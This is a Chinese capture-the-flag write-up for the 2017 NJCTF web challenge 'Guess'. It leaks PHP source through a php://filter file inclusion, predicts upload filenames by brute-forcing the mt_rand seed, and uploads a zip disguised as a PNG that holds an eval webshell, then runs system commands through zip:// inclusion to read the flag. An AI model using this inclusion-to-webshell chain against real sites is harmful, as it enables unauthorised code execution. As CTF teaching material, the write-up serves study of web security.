2017 NJCTF Web Guess

新博客:https://wywwzjj.top/

粗一看,是文件上传的题目。随便传一个文件试试,测试可知,只是验证后缀,改后缀即可绕过。

问题是文件传到哪里去了,这也是本题的核心考点。

http://111.198.29.45:30117/?page=upload

url 有所变化,可能任意跳转,尝试下伪协议读源码,成功。

http://111.198.29.45:30117/?page=php://filter/read=convert.base64-encode/resource=index

// index.php
<?php
    error_reporting(0);

    session_start();
    if(isset($_GET['page'])){
        $page=$_GET['page'];
    }else{
        $page=null;
    }

    if(preg_match('/\.\./',$page)) {
        echo "<div class=\"msg error\" id=\"message\">
        <i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
        die();
    }
?>

<?php
    if($page) {
        if(!(include($page.'.php'))) {
            echo "<div class=\"msg error\" id=\"message\">
        <i class=\"fa fa-exclamation-triangle\"></i>error!</div>";
            exit;
        }
    }
?>

index.php 没太多用处,核心在 upload.php。

http://111.198.29.45:30117/?page=php://filter/read=convert.base64-encode/resource=upload

<?php
	error_reporting(0);
	function show_error_message($message) {
		die("<div class=\"msg error\" id=\"message\">
		<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
	}

	function show_message($message) {
		echo("<div class=\"msg success\" id=\"message\">
		<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
	}

	function random_str($length = "32") {
		$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
			"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
			"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
			"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
			"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
		$str = '';

		for ($i = 1; $i <= $length; ++$i) {
			$ch = mt_rand(0, count($set) - 1);
			$str .= $set[$ch];
		}
		return $str;
	}

	session_start();

	$reg='/gif|jpg|jpeg|png/';
	if (isset($_POST['submit'])) {
		$seed = rand(0,999999999);  // 生成随机数做种子
		mt_srand($seed);  			// 用seed给随机数发生器播种
		$ss = mt_rand();  			// 取随机数
		
        $hash = md5(session_id() . $ss);  // session_id() 是可控的,设为 0 或者很短的值
        // 服务端对 session_id() 的态度:你有用你的,你没有我给你设。
		
        setcookie('SESSI0N', $hash, time() + 3600);
		// 此处是设置 SESSION 
        
		if ($_FILES["file"]["error"] > 0) {
			show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
		}
		$check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
				|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
				|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
				|| ($_FILES["file-upload-field"]["type"] == "image/png"))
			&& ($_FILES["file-upload-field"]["size"] < 204800));
		$check3 = !preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));


		if ($check3) show_error_message("Nope!");
		if ($check2) {
			$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
			if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
				show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
			} else show_error_message("Something wrong with the upload...");
		} else {
			show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
		}
	}
?>

$filename = ‘./uP1O4Ds/’ . random_str() . ‘_’ . $_FILES[‘file-upload-field’][‘name’];

由此可知,重点是预测 random_str() 的值。

联想到此前的 2018 SWPUCTF 用优惠码买个X?SWPUCTF wp

因此我们只要得到 mt_srand() 函数的播种种子的值,就可以预测出24位的优惠码。

测试发现无论是rand()函数还是mt_rand()函数,当随机数种子相同的时候,无论运行多少次,产生的随机数序列都是一样的,所以如果我们在代码中自己播种了随机数种子,但是泄露了这个种子,就会导致产生的随机数序列被别人猜到,造成安全问题.

对于这个题也类似,只要得到种子,就能预测。

php的随机数的安全性分析

大牛的爆破种子神器

直接强行爆破太麻烦了,先爆出一个随机数,利用这个随机数去爆破它的种子。

将 test.php 文件打个压缩包 test.zip,然后改后缀名 test.png,利用 zip:// 解压缩读取

http://111.198.29.45:30117/?page=zip://uP1O4Ds/Ah86F1AZxgsLc8UUjkHPZRKMoCM3XUdT_test.png%23test/test&a=phpinfo();

种子确定了,随机值也确定了,直接利用源代码中的方式就能推出路径。

<?php  
	$std = "6f51b1f6ba8ee543732b21dbe0efacb9";  // cookie 中的 SESSION
    for($i=0;$i<=999999999;$i++) {
        $ha = md5("0" . $i);
        if($ha === $std) {
            echo "Success-----------=>" . $i;
            // 爆出随机数为 i
            break;
        }
        if($i % 100000000 == 0) echo $i . "\n";
    }
?>

得出随机数

屏幕捕获_2018_12_30_19_58_38_361.png

然后利用神器,爆出种子

屏幕捕获_2018_12_30_20_10_40_322.png

利用这个脚本

// 爆出来的种子
$arr = array(76047661,1136899518,1497431590,2832522619);  
foreach($arr as $a) {
    mt_srand($a);
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
                 "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
                 "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
                 "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
                 "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';
    $ss = mt_rand();  // 这一步必须加上,否则与服务器端的随机值对应不上
    for ($i = 1; $i <= 32; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    // echo 'zip://uP1O4Ds/' . $str . '_test.png%23test&a=phpinfo();' . "<br>";
    echo 'http://111.198.29.45:30117/uP1O4Ds/' . $str . '_test.png' . "<br>";
}

先检查地址是否有效,然后利用之前传的后门进行命令执行。

// test.php
<?php
    eval($_GET['a']);
?>

最后的 payload 如下:

http://111.198.29.45:30117/?page=zip://uP1O4Ds/Ah86F1AZxgsLc8UUjkHPZRKMoCM3XUdT_test.png%23test/test&a=system(%27ls%27);

# test.png%23test&a=system(%27ls%27); 这样是不行的,网上都是这个路子==,找时间整理下

CSS flag-Edi98vJF8hnIp.txt index.html index.php js uP1O4Ds upload.php upload.php

然后 cat flag

http://111.198.29.45:30117/?page=zip://uP1O4Ds/Ah86F1AZxgsLc8UUjkHPZRKMoCM3XUdT_test.png%23test/test&a=system(%27cat%20./flag-Edi98vJF8hnIp.txt%27);

xctf{3fbbe15371c9cd42ec1a698d7660849a} xctf{3fbbe15371c9cd42ec1a698d7660849a}
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值